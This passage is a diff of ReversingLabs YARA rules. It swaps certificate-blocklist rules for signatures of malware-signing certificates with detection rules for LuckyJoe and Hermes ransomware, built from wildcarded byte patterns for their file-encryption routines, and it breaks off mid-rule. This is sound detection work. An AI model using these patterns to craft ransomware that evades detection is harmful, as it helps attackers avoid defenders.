?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? + ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SLIM DOG GROUP SP Z O O" and pe.signatures [ i ] . serial == "0d:dc:e8:cd:c9:1b:5b:64:9b:b4:b4:5f:fb:ba:6c:6c" and 1580722435 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( all of ( $enum_and_encrypt_files_* ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_9Bd614D5869Bb66C96B67E154D517384 : INFO FILE +rule REVERSINGLABS_Linux_Ransomware_Luckyjoe : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects LuckyJoe ransomware." author = "ReversingLabs" - id = "eb42b516-aac6-5bee-af1d-70e0e66700f5" - date = "2020-08-05" - modified = "2023-11-08" + id = "8dc98d71-b79d-5b09-9383-11f2b57baeb5" + date = "2020-07-15" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3752-L3770" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Linux.Ransomware.LuckyJoe.yara#L1-L146" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d9eea38a1340797cef129b12cf2bb46c444e6f312db7356260f0ac0d9e63183d" + logic_hash = "1e7df2c45bee072af233cf8f355a84ec931fe96afa3fbdcd225dded1b75ea961" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "LuckyJoe" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\"CENTR MBP\"" and ( pe.signatures [ i ] . serial == "00:9b:d6:14:d5:86:9b:b6:6c:96:b6:7e:15:4d:51:73:84" or pe.signatures [ i ] . serial == "9b:d6:14:d5:86:9b:b6:6c:96:b6:7e:15:4d:51:73:84" ) and 1581618180 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_540Cea639D5D48669B7F2F64 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "bfc514b6-43ef-5343-b5f2-d39168ba3e8d" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3772-L3788" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3d3774f10ff9949ea13a7892662438b84b3eb895fc986092649fa9b192170d48" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $main_call_p1 = { + 55 48 89 E5 48 81 EC ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 + C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? + 48 89 45 ?? 48 8B 55 ?? 48 8B 45 ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 75 ?? 48 + 8B 45 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? BE ?? ?? + ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 C7 E8 + ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? + ?? 48 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? E8 ?? ?? + ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 35 ?? ?? ?? ?? 48 83 EC ?? 48 8B 45 + ?? 6A ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C7 + E8 ?? ?? ?? ?? 48 83 C4 ?? 48 8B 15 ?? ?? ?? ?? 48 8B 45 ?? 48 89 D6 48 89 C7 E8 ?? + ?? ?? ?? 48 8B 45 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? + ?? ?? 48 98 48 89 45 ?? 48 8B 45 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 + } + $main_call_p2 = { + 89 C7 E8 ?? ?? ?? ?? 48 98 48 89 45 ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? + ?? 48 89 45 ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 + ?? 89 C2 48 8B 4D ?? 48 8B 45 ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 89 C2 + 48 8B 4D ?? 48 8B 45 ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 8B 55 ?? 48 8B 45 ?? 48 + 01 D0 C6 00 ?? 48 8B 55 ?? 48 8B 45 ?? 48 01 D0 C6 00 ?? 48 8B 45 ?? 48 8B 55 ?? 48 + 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 75 ?? BF ?? ?? ?? ?? E8 ?? + ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? B8 + ?? ?? ?? ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 45 ?? + 48 83 7D ?? ?? 74 ?? 48 8B 55 ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 + } + $main_call_p3 = { + E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 79 ?? 48 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? + ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 89 C7 E8 ?? ?? + ?? ?? 48 C7 45 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 45 + ?? 48 83 7D ?? ?? 74 ?? EB ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? + ?? ?? 48 8B 55 ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 89 45 ?? 83 7D ?? ?? 79 ?? 48 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? EB ?? 48 8B 45 ?? 48 89 + C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? EB ?? BF ?? ?? ?? ?? E8 ?? ?? ?? + ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? + ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 48 98 48 8B 84 + C5 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 48 98 + 48 8B 84 C5 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 83 45 ?? ?? 83 7D ?? ?? 74 ?? BF ?? + ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 + ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? C9 C3 + } + $encrypt_files_p1 = { + 55 48 89 E5 53 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BA ?? + ?? ?? ?? B9 ?? ?? ?? ?? 48 89 C7 48 89 D6 F3 48 A5 48 89 F2 48 89 F8 0F B7 0A 66 89 + 08 48 8D 40 ?? 48 8D 52 ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + 48 C7 45 ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 D7 + F3 48 AB 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 75 + ?? 48 8B 85 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? + ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 D6 48 89 C7 + E8 ?? ?? ?? ?? 48 8B 45 ?? 0F B6 40 ?? 3C ?? 0F 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? + 48 89 C7 E8 ?? ?? ?? ?? 48 89 C3 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 + 01 D8 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 85 ?? ?? ?? ?? BE ?? ?? + ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8B 45 ?? 48 8D 48 ?? 48 8B 95 ?? ?? ?? + ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 48 8B 45 + ?? 48 8D 48 ?? 48 8B 95 ?? ?? ?? ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 4D ?? 48 8D 85 ?? ?? ?? ?? 48 89 CE 48 + 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? EB ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? + ?? 48 89 C2 48 8B 45 ?? 48 89 C6 48 89 D7 E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 45 ?? 48 + } + $encrypt_files_p2 = { + 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? + ?? EB ?? 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C6 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 + 89 45 ?? 48 83 7D ?? ?? 75 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 + 8B 45 ?? 0F B6 40 ?? 3C ?? 0F 85 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? BE ?? ?? ?? ?? + 48 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? BE ?? ?? ?? + ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 45 + ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C3 48 8B 45 ?? 48 89 C7 E8 ?? + ?? ?? ?? 48 01 D8 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 85 ?? ?? ?? + ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8B 45 ?? 48 8D 48 ?? 48 8B + 95 ?? ?? ?? ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB + ?? 48 8B 45 ?? 48 8D 48 ?? 48 8B 95 ?? ?? ?? ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 + C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 0F + 85 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D C3 + } + $encrypt_internal_message_p1 = { + 55 48 89 E5 53 48 83 EC ?? 48 89 7D ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? BF ?? ?? + ?? ?? E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 48 8B + 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 83 C0 ?? 48 98 48 89 C7 E8 ?? ?? ?? + ?? 48 89 45 ?? 8B 45 ?? 83 C0 ?? 48 63 D0 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? + ?? ?? ?? 8B 45 ?? 48 63 D0 48 8B 4D ?? 48 8B 45 ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? + 8B 45 ?? 48 98 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? 8B 45 ?? 83 E8 ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 66 0F EF C0 F2 0F 2A 45 ?? + 66 0F EF C9 F2 0F 2A 4D ?? F2 0F 5E C1 E8 ?? ?? ?? ?? F2 0F 2C C0 89 45 ?? 8B 45 ?? + 0F AF 45 ?? 48 98 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 8B 45 ?? 0F AF 45 ?? 48 63 D0 + 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 45 ?? 0F AF 45 ?? 89 C3 48 8B + 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C6 8B 45 ?? 89 C1 89 DA BF ?? ?? ?? ?? B8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? E9 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? 3B 45 ?? 7D ?? 8B 45 ?? 2B 45 ?? 89 45 ?? 8B 45 + ?? 48 63 D0 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? 89 + } + $encrypt_internal_message_p2 = { + C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 48 63 D0 48 8B 45 ?? 48 8D + 34 02 48 8B 4D ?? 48 8B 55 ?? 8B 45 ?? 41 B8 ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? 89 45 + ?? 8B 45 ?? 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? E8 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C2 48 8B 45 ?? 48 89 C6 48 89 D7 E8 ?? ?? ?? ?? 48 + 8B 05 ?? ?? ?? ?? 48 8B 55 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? + 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? + ?? ?? 8B 45 ?? 48 63 D0 8B 45 ?? 48 63 C8 48 8B 45 ?? 48 01 C1 48 8B 45 ?? 48 89 C6 + 48 89 CF E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 01 45 ?? 8B 45 ?? 01 45 ?? 48 8B 45 ?? 48 89 + C7 E8 ?? ?? ?? ?? 83 45 ?? ?? 8B 45 ?? 3B 45 ?? 0F 8E ?? ?? ?? ?? 48 8B 45 ?? 48 89 + C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 4D ?? 48 8B 45 ?? BA ?? ?? + ?? ?? 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? + 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C4 ?? 5B 5D + C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CENTR MBP LLC" and pe.signatures [ i ] . serial == "54:0c:ea:63:9d:5d:48:66:9b:7f:2f:64" and 1570871755 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( all of ( $main_call_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $encrypt_internal_message_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_03A7748A4355020A652466B5E02E07De : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Hermes : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Hermes ransomware." author = "ReversingLabs" - id = "10134543-04fa-5a2f-8f77-98444ad1d7f0" - date = "2020-08-05" - modified = "2023-11-08" + id = "1f1f363a-5be0-59e5-b1c1-5e277922790c" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3790-L3806" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Hermes.yara#L1-L284" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6dc6d0fd2b702939847981ff31c2d8103227ccd0c19f999849ff89c64a90f92f" + logic_hash = "6db95c422ee2f9dd8a1795031ee8d7d5ed84e16cde47512becc006b6a849e890" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Hermes" + tc_detection_factor = 5 importance = 25 + strings: + $hermes_find_files_v1_p1 = { + A5 A5 A5 8D BD ?? ?? ?? ?? 66 AB BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? A5 A5 66 A5 68 ?? + ?? ?? ?? 8D BD ?? ?? ?? ?? 50 AB 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 65 + ?? ?? 8B 5D ?? 8B FB 4F 4F 8D 47 ?? 66 8B 4F ?? 47 47 66 85 C9 75 ?? BE ?? ?? ?? ?? + A5 A5 8D 8D ?? ?? ?? ?? 51 50 66 A5 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 89 45 ?? E8 + ?? ?? ?? ?? 59 59 8B C8 E8 ?? ?? ?? ?? 8B CB 8B D0 E8 ?? ?? ?? ?? 2B C2 33 C9 83 7D + ?? ?? 66 89 0C 43 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? + 8B C1 6A ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 + ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? + 8B C1 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 + ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 7D ?? A5 A5 A5 A5 33 + } + $hermes_find_files_v1_p2 = { + C0 6A ?? 59 6A ?? 8D 7D ?? 66 AB BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 59 BE ?? ?? + ?? ?? 8D BD ?? ?? ?? ?? F3 A5 BE ?? ?? ?? ?? 8D 7D ?? A5 A5 A5 A5 6A ?? 59 8D 7D ?? + AB BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 8D BD ?? ?? ?? ?? AB AB 66 AB BE ?? ?? ?? + ?? 8D 7D ?? A5 A5 A5 A5 33 C0 6A ?? 8D 7D ?? AB 59 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? + F3 A5 66 A5 8D BD ?? ?? ?? ?? AB BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? A5 A5 A5 A5 8D BD + ?? ?? ?? ?? AB AB AB 66 AB 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 + C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 + 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 + 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D + 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 + 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 0F + } + $hermes_find_files_v1_p3 = { + 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? + ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 + 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F + 85 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F + 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D + } + $hermes_find_files_v1_p4 = { + 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 45 + ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? F6 85 + ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 53 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8B C8 E8 ?? ?? ?? ?? 83 F8 ?? 7E ?? 53 FF 75 + ?? FF 75 ?? E8 + } + $hermes_encrypt_files_v1_p1 = { + 55 8B EC 83 EC ?? 53 56 57 FF 75 ?? FF 15 ?? ?? ?? ?? BB ?? ?? ?? ?? 3B C3 74 ?? 53 + FF 75 ?? FF 15 ?? ?? ?? ?? 33 F6 56 53 6A ?? 56 56 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? + ?? ?? ?? 89 45 ?? 3B C6 0F 84 ?? ?? ?? ?? 8D 4D ?? 51 50 FF 15 ?? ?? ?? ?? 89 45 ?? + 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? 56 89 45 ?? 8D 45 ?? 50 56 56 + 6A ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? BF ?? ?? ?? ?? 57 FF 75 ?? 56 + FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 74 ?? 56 8D 4D ?? 51 FF 75 ?? 89 75 ?? 50 FF 75 ?? + FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 8B 4D ?? 8D 44 08 ?? 80 38 ?? 75 ?? 80 78 ?? + ?? 75 ?? 80 78 ?? ?? 75 ?? 80 78 ?? ?? 75 ?? 80 78 ?? ?? 75 ?? 80 78 ?? ?? 75 ?? FF + 75 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B + } + $hermes_encrypt_files_v1_p2 = { + C9 C3 FF 75 ?? 8D 45 ?? 50 51 56 6A ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 + 56 56 FF 75 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? + ?? 6A ?? 57 FF 75 ?? 88 45 ?? 56 FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 3B FE 74 ?? FF 75 + ?? 0F BE 45 ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 56 8D 45 ?? 50 FF 75 ?? 89 75 ?? 57 FF + 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? BF ?? ?? ?? ?? 57 56 FF 75 ?? FF 15 + ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 56 53 6A 